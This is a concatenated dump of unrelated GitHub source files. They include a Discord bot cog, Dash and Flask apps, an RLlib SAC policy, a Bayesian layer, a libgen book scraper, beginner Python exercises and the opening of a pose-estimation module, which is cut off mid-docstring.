0:\n lid2 = self.client.get_user(team_member2)\n lid2 = lid2.mention\n else:\n lid2 = \"Niemand\"\n except AttributeError:\n lid2 = team_member2\n\n try:\n leider = self.client.get_user(team_leader)\n leider = leider.mention\n except AttributeError:\n leider = team_leader\n\n em = discord.Embed(\n title=\"Team Info\",\n description=f\"**Team Leider:** {leider}\\n**Team Lid 1**: {lid1}\\n**Team Lid 2**: {lid2}\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n else:\n await ctx.send(f\"Je zit niet in een team.\")\n else:\n await ctx.send(f\"Ongeldige argumenten! Probeer het opnieuw!\")\n db_maxerg.close()\n else:\n await ctx.send(\"Deze command werkt alleen in <#708055327958106164>.\")\n\n\ndef setup(client):\n client.add_cog(EcoTeam(client))\n","repo_name":"SiebeBaree/MaxerG","sub_path":"ecogame/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":14344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28179584001","text":"#Basics Requirements\nimport pathlib\nimport dash\nfrom dash.dependencies import Input, Output, State, ClientsideFunction\nimport dash_core_components as dcc\nimport dash_html_components as html\n\n#Dash Bootstrap Components\nimport dash_bootstrap_components as dbc \n\nheader = html.Div(\n children = [\n html.Div(\n [\n html.H3(\"Team 10 - SuperSubsidio & Comfama\"),\n ],\n id=\"title\",\n className=\"two-thirds column\",\n ),\n html.Div(\n [],\n id=\"logo\",\n className=\"one-third column\",\n ),\n \n ],\n id=\"header\",\n className=\"row\"\n )\n","repo_name":"pablovem/DS4A-Practicum","sub_path":"lib/header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32705468585","text":"#import numpy as np\n\ndef importar():\n \n with open('texto.txt') as f:\n x = 0\n y = 0\n palabras = []\n for o in range(10):\n palabras.append([\"\"])\n for linea in f:\n p = \"\"\n for i in linea:\n if(i == \" \" or i == \"\\n\"):\n palabras[x][y] = p\n p = \"\"\n y += 1\n else:\n p += i\n x += 1\n print(palabras)\n\n \n \n\n \n\n\n\ndef main():\n print(\"Bienvenido\\n\")\n salir = False\n while(not salir):\n a = input(\"1-Importar palabras clave\\n2-Mostrar palabras clave\\n0-Salir\\n\");\n if(a == '1'):\n importar()\n elif(a == '2'):\n print(\"mostrar()\")\n elif(a == '0'):\n salir = True\n print(\"------Adios------\")\n else:\n print(\"------Caracter invalido-------\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"lucasjimenezc/PythonCourse","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22987951121","text":"def get_employee(emp_ids,emp_info):\n get_emp_id = input(\"Enter the employee id or press 'a' to get all employees list\")\n if get_emp_id == 'a':\n for ids,values in emp_info.items():\n print(\"Employee \",ids,\" details: \",values)\n else:\n if get_emp_id in emp_ids:\n print(emp_info[get_emp_id])\n else:\n print(\"No employee exist with that id.\") ","repo_name":"cbhallamudi/bcvPython","sub_path":"packages/get_employees.py","file_name":"get_employees.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16790325623","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom BBB.GaussianPrior import GaussianPrior\nfrom BBB.ScaleMixturePrior import ScaleMixturePrior\nfrom BBB.GaussianVariationalPosterior import GaussianVariationalPosterior\n\nDEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# Define a Bayesian linear layer\nclass BayesianLinearLayer_LRT(nn.Module):\n def __init__(self, n_in, n_out, pi=.5, sigma1=np.exp(-0), sigma2=np.exp(-8)):\n super().__init__()\n\n # Define priors on the weight and bias parameters\n self.w_prior = GaussianPrior(sigma1)\n self.bias_prior = GaussianPrior(sigma1)\n\n # Initialize the weight and bias parameters with Gaussian variational posteriors\n self.w_mu = torch.zeros(n_out, n_in).uniform_(-.2, .2)\n self.w_rho = torch.zeros(n_out, n_in).uniform_(-5., -4.)\n self.w_var_post = GaussianVariationalPosterior(self.w_mu, self.w_rho)\n\n self.bias_mu = torch.zeros(n_out).uniform_(-.2, .2)\n self.bias_rho = torch.zeros(n_out).uniform_(-5., -4.)\n self.bias_var_post = GaussianVariationalPosterior(self.bias_mu, self.bias_rho)\n\n self.kld = 0.\n\n def forward(self, x):\n # Local Reparameterization Trick - basically, sample from a distribution over the activations\n gamma = F.linear(x, self.w_var_post.mu)\n delta = F.linear(x**2, self.w_var_post.sigma()**2) \n\n zeta_w = torch.distributions.Normal(0,1).sample(gamma.size()).to(DEVICE)\n zeta_bias = torch.distributions.Normal(0,1).sample(self.bias_var_post.mu.size()).to(DEVICE)\n # Adding 1e-32 for numerical stability\n activations = gamma + torch.sqrt(delta + 1e-32) * zeta_w + self.bias_var_post.mu + self.bias_var_post.sigma() * zeta_bias\n\n self.kld = self._kld_gaussians_closed_form()\n\n return activations\n \n def _kld_gaussians_closed_form(self):\n # Closed form solution of KLD between two univariate gaussians\n kld_w = (\n torch.log(self.w_prior.sigma / self.w_var_post.sigma())\n + ((self.w_var_post.sigma() ** 2 + (self.w_var_post.mu - self.w_prior.mu) ** 2)\n / (2 * (self.w_prior.sigma ** 2)))\n - 0.5\n ).sum()\n \n kld_bias = (\n torch.log(self.bias_prior.sigma / self.bias_var_post.sigma())\n + ((self.bias_var_post.sigma() ** 2 + (self.bias_var_post.mu - self.bias_prior.mu) ** 2)\n / (2 * (self.bias_prior.sigma ** 2)))\n - 0.5\n ).sum()\n return kld_w + kld_bias","repo_name":"dennysemko/VectorizedBayesByBackprop","sub_path":"BBB/BayesianLinearLayer_LRT.py","file_name":"BayesianLinearLayer_LRT.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1360246339","text":"import PySimpleGUI as sg\nimport pafy\nimport os\nimport sys\n\n\ndef downloadVid(url, dest):\n video = pafy.new(url)\n best = video.getbest()\n best.download(quiet=False, filepath=dest)\n\n\nlayout = [ [sg.Image(r'/home/umair/Desktop/Python/Video Downloader/youtube.png')],\n [sg.Text('Enter Video Url', size=(20,1), justification='center'), sg.InputText(key='_url_')],\n [sg.Text('Enter File Destination', size=(20,1), justification='center'), sg.InputText(key='_dest_')],\n [sg.Text('', key='_downloading_', justification='center')],\n [sg.Button('Download Video'), sg.Exit()]]\n\nwindow = sg.Window('Youtube Video Downloader', layout)\n\n\n\nwhile True:\n button, values = window.Read(timeout=0, timeout_key='key')\n\n \n if button == 'Exit' or values is None:\n break\n if button == 'Download Video':\n url = window.FindElement('_url_').Get()\n dest = window.FindElement('_dest_').Get()\n if url != '' and dest != '':\n window.FindElement('_downloading_').Update('Downloading...')\n downloadVid(url,dest)\n \n \n \n\n\n\n","repo_name":"umairayub79/Python-Programs","sub_path":"Youtube Video Downloader-GUI/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36955154864","text":"from flask import Flask\n\n# from database.db import db\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config[\n \"SQLALCHEMY_DATABASE_URI\"\n] = \"postgresql://postgres:stackoverflow@localhost:5432/FYP\"\n\n\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n\n\ndb = SQLAlchemy(app)\n\n\nclass User(db.Model):\n __tablename__ = \"adminusers\"\n\n id = db.Column(db.Integer, primary_key=True)\n public_id = db.Column(db.String, unique=True)\n name = db.Column(db.String, unique=True, nullable=False)\n email = db.Column(db.String, unique=True, nullable=False)\n password = db.Column(db.String, nullable=False)\n admin = db.Column(db.Boolean, nullable=False)\n\n def __repr__(self) -> str:\n return f\"name: {self.name}, email: {self.email}\"\n\n\nclass Vehicle(db.Model):\n __tablename__ = \"vehicles\"\n\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n num_plate = db.Column(db.String(7), nullable=False, unique=True)\n type = db.Column(db.String, nullable=False)\n suspicious = db.Column(db.Boolean, nullable=False, default=False)\n\n def __repr__(self) -> str:\n return f\"Vehicle(number playe={self.num_plate}, type={self.type}, suspicious={self.suspicious})\"\n\n\nclass Registered(db.Model):\n \"\"\"\n Registered User\n \"\"\"\n\n __tablename__ = \"registered\"\n\n regid = db.Column(db.Integer, primary_key=True, nullable=False)\n name = db.Column(db.String, nullable=False)\n cnic = db.Column(db.String, nullable=False)\n contactno = db.Column(db.String, nullable=False)\n gender = db.Column(db.String, nullable=False)\n dor = db.Column(db.DateTime, nullable=False)\n doe = db.Column(db.DateTime, nullable=False)\n vehicle_id = db.Column(\n db.Integer, db.ForeignKey(\"vehicles.id\"), unique=True, nullable=False\n )\n\n def __repr__(self):\n return \"Registered(name='{}', cnic={},contactNo={},gender={},DOR={},DOE={})\".format(\n self.name,\n self.cnic,\n self.contactno,\n self.gender,\n self.dor,\n self.doe,\n )\n\n\n# class Visitor(db.Model):\n# __tablename__ = \"visitors\"\n\n# id = db.Column(db.Integer, primary_key=True, nullable=False)\n# name = db.Column(db.String, nullable=False)\n# cnic = db.Column(db.String, nullable=False)\n# license_plate = db.Column(db.String, nullable=False) # license\n\n# def __repr__(self):\n# return \"Visitor(name='{}', cnic={})\".format(self.name, self.cnic)\n\n\nclass CarLogs(db.Model):\n __tablename__ = \"carlogs\"\n\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n image_path = db.Column(db.String, nullable=False)\n is_registered = db.Column(db.Boolean, default=False)\n is_suspicious = db.Column(db.Boolean, default=False)\n is_visitor = db.Column(db.Boolean, default=False)\n time = db.Column(db.DateTime, nullable=False)\n license_plate = db.Column(db.String, nullable=False)\n vehicle_id = db.Column(\n db.Integer, db.ForeignKey(\"vehicles.id\"), unique=False, nullable=True\n )\n\n def __repr__(self):\n return \"timeStamp(image path='{}', entry time={})\".format(\n self.image_path, self.time\n )\n\n\n# if __name__ == \"__main__\":\n# db.create_all()\n# db.session.commit()\n# app.run()\n","repo_name":"ahmadmustafaanis/Vehicle-Identification-and-Managment-System","sub_path":"DB/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1056034181","text":"from multiprocessing import Process, cpu_count\nfrom threading import Thread\n\nfrom absl import app, flags\n\nfrom compiler_gym.util.flags.benchmark_from_flags import benchmark_from_flags\nfrom compiler_gym.util.flags.env_from_flags import env_from_flags\nfrom compiler_gym.util.timer import Timer\n\nflags.DEFINE_integer(\"max_nproc\", 2 * cpu_count(), \"The maximum number of threads.\")\nflags.DEFINE_integer(\n \"nproc_increment\",\n cpu_count() // 4,\n \"The number of workers to change at each step of the load test.\",\n)\nflags.DEFINE_integer(\n \"num_episodes\", 50, \"The number of episodes to run in each worker.\"\n)\nflags.DEFINE_integer(\"num_steps\", 50, \"The number of steps in each episode.\")\nflags.DEFINE_string(\n \"logfile\",\n \"parallelization_load_test.csv\",\n \"The path of the file to write results to.\",\n)\nFLAGS = flags.FLAGS\n\n\ndef run_random_search(num_episodes, num_steps) -> None:\n \"\"\"The inner loop of a load test benchmark.\"\"\"\n with env_from_flags(benchmark=benchmark_from_flags()) as env:\n for _ in range(num_episodes):\n env.reset()\n for _ in range(num_steps):\n _, _, done, _ = env.step(env.action_space.sample())\n if done:\n break\n\n\ndef main(argv):\n assert len(argv) == 1, f\"Unknown arguments: {argv[1:]}\"\n\n with open(FLAGS.logfile, \"w\") as f:\n print(\n \"nproc\",\n \"episodes_per_worker\",\n \"steps_per_episode\",\n \"total_episodes\",\n \"thread_steps_per_second\",\n \"process_steps_per_second\",\n \"thread_walltime\",\n \"process_walltime\",\n sep=\",\",\n file=f,\n )\n\n for nproc in [1] + list(\n range(FLAGS.nproc_increment, FLAGS.max_nproc + 1, FLAGS.nproc_increment)\n ):\n # Perform the same `nproc * num_episodes` random trajectories first\n # using threads, then using processes.\n threads = [\n Thread(\n target=run_random_search,\n args=(FLAGS.num_episodes, FLAGS.num_steps),\n )\n for _ in range(nproc)\n ]\n with Timer(f\"Run {nproc} threaded workers\") as thread_time:\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n\n processes = [\n Process(\n target=run_random_search,\n args=(FLAGS.num_episodes, FLAGS.num_steps),\n )\n for _ in range(nproc)\n ]\n with Timer(f\"Run {nproc} process workers\") as process_time:\n for process in processes:\n process.start()\n for process in processes:\n process.join()\n\n print(\n nproc,\n FLAGS.num_episodes,\n FLAGS.num_steps,\n FLAGS.num_episodes * nproc,\n (FLAGS.num_episodes * FLAGS.num_steps * nproc) / thread_time.time,\n (FLAGS.num_episodes * FLAGS.num_steps * nproc) / process_time.time,\n thread_time.time,\n process_time.time,\n sep=\",\",\n file=f,\n flush=True,\n )\n\n\nif __name__ == \"__main__\":\n app.run(main)\n","repo_name":"facebookresearch/CompilerGym","sub_path":"benchmarks/parallelization_load_test.py","file_name":"parallelization_load_test.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","stars":821,"dataset":"github-code","pt":"78"} +{"seq_id":"41212800652","text":"from typing import Dict, Tuple, Type, Union, List\n\nimport gymnasium as gym\nimport numpy as np\nfrom ray.rllib.algorithms.dqn.dqn_tf_policy import PRIO_WEIGHTS\nfrom ray.rllib.algorithms.sac.rnnsac_torch_policy import RNNSACTorchPolicy\nfrom ray.rllib.algorithms.sac.sac_torch_policy import _get_dist_class\nfrom ray.rllib.evaluation.postprocessing import adjust_nstep\nfrom ray.rllib.models import ModelCatalog, MODEL_DEFAULTS\nfrom ray.rllib.models.modelv2 import ModelV2\nfrom ray.rllib.models.torch.torch_action_dist import TorchDistributionWrapper\nfrom ray.rllib.models.torch.torch_action_dist import (\n TorchDiagGaussian,\n TorchDistributionWrapper,\n)\nfrom ray.rllib.models.action_dist import ActionDistribution\nfrom ray.rllib.policy.policy import Policy\nfrom ray.rllib.policy.sample_batch import SampleBatch\nfrom ray.rllib.policy.torch_mixins import TargetNetworkMixin\nfrom ray.rllib.utils.annotations import override\nfrom ray.rllib.utils.numpy import convert_to_numpy\nfrom ray.rllib.utils.torch_utils import global_norm, apply_grad_clipping\nfrom ray.rllib.utils.typing import TensorType, AlgorithmConfigDict\nimport tree\nimport torch\n\nimport stocktradingv2\nfrom stocktradingv2.agent.mysac.my_sac_model import MySACModel\n\n\nclass MyTorchDiagGaussian(TorchDiagGaussian):\n @override(ActionDistribution)\n def sample(self) -> TensorType:\n self.last_sample = self.dist.rsample()\n return self.last_sample\n\n\ndef build_my_sac_model_and_action_dist(\n policy: Policy,\n obs_space: gym.spaces.Space,\n action_space: gym.spaces.Space,\n config: AlgorithmConfigDict,\n) -> Tuple[ModelV2, Type[TorchDistributionWrapper]]:\n \"\"\"Constructs the necessary ModelV2 and action dist class for the Policy.\n\n Args:\n policy: The TFPolicy that will use the models.\n obs_space (gym.spaces.Space): The observation space.\n action_space (gym.spaces.Space): The action space.\n config: The SAC's config dict.\n\n Returns:\n ModelV2: The ModelV2 to be used by the Policy. Note: An additional\n target model will be created in this function and assigned to\n `policy.target_model`.\n \"\"\"\n # With separate state-preprocessor (before obs+action concat).\n num_outputs = int(np.product(obs_space.shape))\n\n # Force-ignore any additionally provided hidden layer sizes.\n # Everything should be configured using SAC's `q_model_config` and\n # `policy_model_config` config settings.\n policy_model_config = MODEL_DEFAULTS.copy()\n policy_model_config.update(config[\"policy_model_config\"])\n q_model_config = MODEL_DEFAULTS.copy()\n q_model_config.update(config[\"q_model_config\"])\n\n # Override custom_loss function of RNNSACTorchModel\n # to customize loss.\n default_model_cls = MySACModel\n\n model = ModelCatalog.get_model_v2(\n obs_space=obs_space,\n action_space=action_space,\n num_outputs=num_outputs,\n model_config=config[\"model\"],\n framework=config[\"framework\"],\n default_model=default_model_cls,\n name=\"sac_model\",\n policy_model_config=policy_model_config,\n q_model_config=q_model_config,\n twin_q=config[\"twin_q\"],\n initial_alpha=config[\"initial_alpha\"],\n target_entropy=config[\"target_entropy\"],\n )\n\n assert isinstance(model, default_model_cls)\n\n # Create an exact copy of the model and store it in `policy.target_model`.\n # This will be used for tau-synched Q-target models that run behind the\n # actual Q-networks and are used for target q-value calculations in the\n # loss terms.\n policy.target_model = ModelCatalog.get_model_v2(\n obs_space=obs_space,\n action_space=action_space,\n num_outputs=num_outputs,\n model_config=config[\"model\"],\n framework=config[\"framework\"],\n default_model=default_model_cls,\n name=\"target_sac_model\",\n policy_model_config=policy_model_config,\n q_model_config=q_model_config,\n twin_q=config[\"twin_q\"],\n initial_alpha=config[\"initial_alpha\"],\n target_entropy=config[\"target_entropy\"],\n )\n policy.target_model.eval()\n\n assert isinstance(policy.target_model, default_model_cls)\n assert (\n model.get_initial_state() != []\n ), \"MySAC requires its model to be a recurrent one!\"\n\n action_dist_class = _get_dist_class(policy, config, action_space)\n # action_dist_class = MyTorchDiagGaussian\n\n # Reference used in custom loss function.\n model.get_target_model = lambda: policy.target_model\n model.action_dist_class = action_dist_class\n\n return model, action_dist_class\n\n\ndef dummy_loss(\n policy: Policy,\n model: ModelV2,\n dist_class: Type[TorchDistributionWrapper],\n train_batch: SampleBatch,\n) -> Union[TensorType, List[TensorType]]:\n \"\"\"Add dummy model towerstat\"\"\"\n train_batch[SampleBatch.ACTIONS]\n train_batch[SampleBatch.SEQ_LENS]\n train_batch[SampleBatch.NEXT_OBS]\n model.tower_stats[\"q_t\"] = torch.tensor(0.0)\n model.tower_stats[\"actor_loss\"] = torch.tensor(0.0)\n model.tower_stats[\"critic_loss\"] = torch.tensor(0.0)\n model.tower_stats[\"alpha_loss\"] = torch.tensor(0.0)\n model.tower_stats[\"policy_t\"] = torch.tensor(0.0)\n model.tower_stats[\"log_pis_t\"] = torch.tensor(0.0)\n model.tower_stats[\"reward_t\"] = torch.tensor(0.0)\n\n\nclass ComputeTDErrorMixin:\n \"\"\"Mixin class calculating TD-error (part of critic loss) per batch item.\n\n - Adds `policy.compute_td_error()` method for TD-error calculation from a\n batch of observations/actions/rewards/etc..\n \"\"\"\n\n def __init__(self):\n def compute_td_error(input_dict):\n # Do forward pass on loss to update td errors attribute\n # (one TD-error value per item in batch to update PR weights).\n self.model.custom_loss(None, input_dict)\n\n # `self.model.td_error` is set within actor_critic_loss call.\n # Return its updated value here.\n return self.model.tower_stats[\"td_error\"]\n\n # Assign the method to policy (self) for later usage.\n self.compute_td_error = compute_td_error\n\n\ndef postprocess_nstep_and_prio(\n policy: Policy, batch: SampleBatch, other_agent=None, episode=None\n) -> SampleBatch:\n # N-step Q adjustments.\n if policy.config[\"n_step\"] > 1:\n adjust_nstep(policy.config[\"n_step\"], policy.config[\"gamma\"], batch)\n\n # Create dummy prio-weights (1.0) in case we don't have any in\n # the batch.\n if PRIO_WEIGHTS not in batch:\n batch[PRIO_WEIGHTS] = np.ones_like(batch[SampleBatch.REWARDS])\n\n # Prioritize on the worker side.\n if batch.count > 0 and policy.config[\"replay_buffer_config\"].get(\n \"worker_side_prioritization\", False\n ):\n td_errors = policy.compute_td_error(batch)\n # Retain compatibility with old-style Replay args\n epsilon = policy.config.get(\"replay_buffer_config\", {}).get(\n \"prioritized_replay_eps\"\n ) or policy.config.get(\"prioritized_replay_eps\")\n if epsilon is None:\n raise ValueError(\"prioritized_replay_eps not defined in config.\")\n\n new_priorities = np.abs(convert_to_numpy(td_errors)) + epsilon\n batch[PRIO_WEIGHTS] = new_priorities\n\n return batch\n\n\ndef stats(policy: Policy, train_batch: SampleBatch) -> Dict[str, TensorType]:\n \"\"\"Stats function for SAC. Returns a dict with important loss stats.\n\n Args:\n policy: The Policy to generate stats for.\n train_batch: The SampleBatch (already) used for training.\n\n Returns:\n Dict[str, TensorType]: The stats dict.\n \"\"\"\n q_t = torch.stack(policy.get_tower_stats(\"q_t\"))\n\n return {\n \"actor_loss\": torch.mean(torch.stack(policy.get_tower_stats(\"actor_loss\"))),\n \"critic_loss\": torch.mean(\n torch.stack(tree.flatten(policy.get_tower_stats(\"critic_loss\")))\n ),\n \"alpha_loss\": torch.mean(torch.stack(policy.get_tower_stats(\"alpha_loss\"))),\n \"alpha_value\": torch.exp(policy.model.log_alpha),\n \"log_alpha_value\": policy.model.log_alpha,\n \"target_entropy\": policy.model.target_entropy,\n \"policy_t\": torch.mean(torch.stack(policy.get_tower_stats(\"policy_t\"))),\n \"log_pis_t\": torch.mean(torch.stack(policy.get_tower_stats(\"log_pis_t\"))),\n \"mean_q\": torch.mean(q_t),\n \"max_q\": torch.max(q_t),\n \"min_q\": torch.min(q_t),\n \"policy_var_norm\": global_norm(policy.model.action_model.trainable_variables()),\n \"q_net_var_norm\": global_norm(policy.model.q_net.trainable_variables()),\n \"reward_t\": torch.mean(torch.stack(policy.get_tower_stats(\"reward_t\"))),\n }\n\n\nMySACPolicy = RNNSACTorchPolicy.with_updates(\n name=\"MySACPolicy\",\n get_default_config=lambda: stocktradingv2.agent.mysac.my_sac.MySACConfig().to_dict(),\n make_model_and_action_dist=build_my_sac_model_and_action_dist,\n loss_fn=dummy_loss,\n postprocess_fn=postprocess_nstep_and_prio,\n mixins=[TargetNetworkMixin, ComputeTDErrorMixin],\n stats_fn=stats,\n extra_grad_process_fn=apply_grad_clipping,\n)\n","repo_name":"freedom5wind/StockTradingV2","sub_path":"stocktradingv2/agent/mysac/my_sac_policy.py","file_name":"my_sac_policy.py","file_ext":"py","file_size_in_byte":9051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25926063340","text":"from typing import List\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib.request\n\n\nbase_url = \"https://libgen.is\"\n\n\ndef search_books(searched_string: str) -> List[object]:\n \"\"\"Receives a query from the user, scrapes data and returns a list of books...\"\"\"\n endpoint = (\n f\"{base_url}/search.php?req={searched_string.replace(' ', '+')}&view=detailed\"\n )\n source = requests.get(endpoint).content\n soup = BeautifulSoup(source, \"lxml\")\n html_results = soup.find_all(name=\"tbody\")[:10]\n html_results = [snippet for snippet in html_results if len(str(snippet)) > 50]\n results = []\n for (index, snippet) in enumerate(html_results):\n\n id = str(index + 1)\n title = snippet.find(\"td\", {\"colspan\": \"2\"}).text\n url = snippet.find(\"td\", {\"colspan\": \"2\"}).find(\"a\")[\"href\"]\n details_url = f'http://library.lol/main/{url.split(\"md5=\")[-1]}'\n author = snippet.find(\"td\", {\"colspan\": \"3\"}).text\n image = snippet.find(\"img\")[\"src\"]\n size_and_ext_info = snippet.find_all(\"tr\", {\"valign\": \"top\"})[-4]\n size = str(size_and_ext_info.find_all(\"td\")[1].text).split(\"(\")[0]\n extension = size_and_ext_info.find_all(\"td\")[-1].text\n results.append(\n {\n \"id\": id,\n \"title\": title,\n \"author\": author,\n \"image\": f\"{base_url}{image}\",\n \"size\": size.strip(),\n \"extension\": extension,\n \"details_url\": details_url,\n }\n )\n # Filtering results for only the pdf extension files.\n results = [result for result in results if result[\"extension\"] == \"pdf\"][:3]\n for index, result in enumerate(results):\n result[\"id\"] = str(index + 1)\n\n print(results)\n return results\n\n\ndef get_book_download_source(book_download_url: str) -> str:\n \"\"\"Receives the url to the details page and scrapes the link to the pdf file.\"\"\"\n source = requests.get(book_download_url).content\n soup = BeautifulSoup(source, \"lxml\")\n pdf_file_link = soup.find_all(\"a\")[2][\"href\"]\n return pdf_file_link\n\n\ndef get_book(download_source: str, book_title: str) -> str:\n \"\"\"Receives the pdf file link and downloads it into the temp folder.\"\"\"\n\n print(\"Starting the get book func\")\n try:\n book_pdf_file = urllib.request.urlopen(download_source)\n path_to_book = f\"alexandria_telegram_bot/assets/temp/{book_title.strip()}.pdf\"\n output = open(path_to_book, \"wb\")\n output.write(book_pdf_file.read())\n output.close()\n print(\"Get book function was a success.\")\n return path_to_book\n except Exception as e:\n print(\"Um erro ocorreu:\", e)\n\n\nif __name__ == \"__main__\":\n # search_book(\"Eragon\")\n search_books(\"Eragon\") # Função nova\n # get_book_download_source(\"http://library.lol/main/410D6144E8E009357D3394AF44585A0C\")\n # get_book(\n # get_book_download_source(\n # \"http://library.lol/main/410D6144E8E009357D3394AF44585A0C\"\n # ),\n # \"Novo teste!\",\n # )\n # get_book(\n # \"https://ipfs.io/ipfs/bafykbzacedgzwm4qwdxqkq5oy6fxgwebffgxcncjaqkhxhhuawvbrmcdxe2u2?filename=Robert%20C.%20Martin%20-%20Clean%20Code_%20A%20Handbook%20of%20Agile%20Software%20Craftsmanship-Prentice%20Hall%20%282008%29.pdf\",\n # \"Clean Code\",\n # )\n","repo_name":"lupus-magnus/alexandria-bot","sub_path":"alexandria_telegram_bot/services/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71320290492","text":"##QUESTION ONE########################\nstudent = {\n\t\"name\" : \"Joseph\",\n\t\"school\" : \"Computing\",\n\t\"grades\" : (66, 77, 88)\n}\nprint(student)\n\n##QUESTION TWO########################\n\ndata = {\n\t\"name\" : \"Joseph\",\n\t\"school\" : \"Computing\",\n\t\"grades\" : (66, 77, 88)\n}\ndef average_grades(data):\n\tgrades = data[\"grades\"]\n\tprint(sum(grades))\naverage_grades(data)\n\n##QUESTION THREE######################\nstudent_list = [\n\t{\n\t\t\"name\" : \"Joseph\",\n\t\t\"school\" : \"Computing\",\n\t\t\"grades\" : (66, 77, 88)\n\t},\n\t{\n\t\t\"name\" : \"Kang'ethe\",\n\t\t\"school\" : \"Technology\",\n\t\t\"grades\" : (65, 75, 85)\n\t},\n\t{\n\t\t\"name\" : \"Wamugi\",\n\t\t\"school\" : \"Enginneering\",\n\t\t\"grades\" : (64, 74, 84)\n\t},\n\t{\n\t\t\"name\" : \"Elizabeth\",\n\t\t\"school\" : \"Mathematics\",\n\t\t\"grades\" : (60, 70, 80)\n\t}\n]\n\ndef avarage_grades_students(student_list):\n\ttotal = 0\n\tcount = 0\n\tfor stud in student_list:\n\t\ttotal += sum(stud[\"grades\"])\n\t\tcount += len(stud[\"grades\"])\n\tprint(\"Total sum of students grades:\",total,\"\\n\",\"Total number of students grades:\",count)\n\tprint(\"Average:\",total / count)\n\n\navarage_grades_students(student_list)","repo_name":"josekang/refresher","sub_path":"exe7.py","file_name":"exe7.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74935574012","text":"numeroInt = 1\nlistaNumeros = []\n\nwhile numeroInt != 0:\n numeroInt = int(input('Digite um número inteiro: '))\n if numeroInt != 0:\n listaNumeros.append(numeroInt)\n\nordenada = sorted(listaNumeros) #Ordena a lista 'listaNumeros'\ntamanho = len(listaNumeros) #Obtém o tamanho da lista 'listaNumeros'\n\nprint(f'Maior valor: {ordenada[tamanho - 1]}') #O -1 é porque o len retorna a quantidade\n# de elementos da lista, ou seja, começando do 1 até o ultimo elemento. Mas os índices começam do 0,\n# então, o último é o tamanho da lista - 1.\n\ninvertida = reversed(ordenada) #Inverte a lista\nlistaInvertida = list(invertida)\n\nif tamanho % 2 == 1:\n print(f'Valor intermediário: {listaInvertida[tamanho // 2]}')\nelse:\n print(f'Valor intermediário: '\n f'{(listaInvertida[tamanho // 2] + listaInvertida[(tamanho // 2) - 1]) / 2}')\n","repo_name":"jgjefersonluis/python-basicoAvancado2023","sub_path":"secao08_lambda/06_exercicios/07_listas.py","file_name":"07_listas.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74739585210","text":"\"\"\"\nName: Chew Kin Whye\nEmail: e0200920@u.nus.edu\nStudent ID: A0171350R\n\nName2: Kok Jia Xuan\nEmail2: e0203403@u.nus.edu\nStudent ID: A0173833B\n\"\"\"\n\nimport numpy as np\nimport cv2\nfrom sympy.polys import subresultants_qq_zz\nimport sympy as sym\n\n\n\"\"\"Helper functions: You should not have to touch the following functions.\n\"\"\"\ndef extract_coeff(x1, x2, x3, cos_theta12, cos_theta23, cos_theta13, d12, d23, d13):\n \"\"\"\n Extract coefficients of a polynomial\n\n Args:\n x1, x2, x3: symbols representing the unknown camera-object distance\n cos_theta12, cos_theta23, cos_theta13: cos values of the inter-point angles\n d12, d23, d13: square of inter-point distances\n\n Returns:\n a: the coefficients of the polynomial of x1\n \"\"\"\n f12 = x1 ** 2 + x2 ** 2 - 2 * x1 * x2 * cos_theta12 - d12\n f23 = x2 ** 2 + x3 ** 2 - 2 * x2 * x3 * cos_theta23 - d23\n f13 = x1 ** 2 + x3 ** 2 - 2 * x1 * x3 * cos_theta13 - d13\n matrix = subresultants_qq_zz.sylvester(f23, f13, x3)\n f12_ = matrix.det()\n f1 = subresultants_qq_zz.sylvester(f12, f12_, x2).det()\n a1 = f1.func(*[term for term in f1.args if not term.free_symbols])\n a2 = f1.coeff(x1 ** 2)\n a3 = f1.coeff(x1 ** 4)\n a4 = f1.coeff(x1 ** 6)\n a5 = f1.coeff(x1 ** 8)\n a = np.array([a1, a2, a3, a4, a5])\n return a\n\n\n\ndef icp(points_s, points_t):\n \"\"\"\n Estimate the rotation and translation using icp algorithm\n\n Args:\n points_s : 10 x 3 array containing 3d points in the world coordinate\n points_t : 10 x 3 array 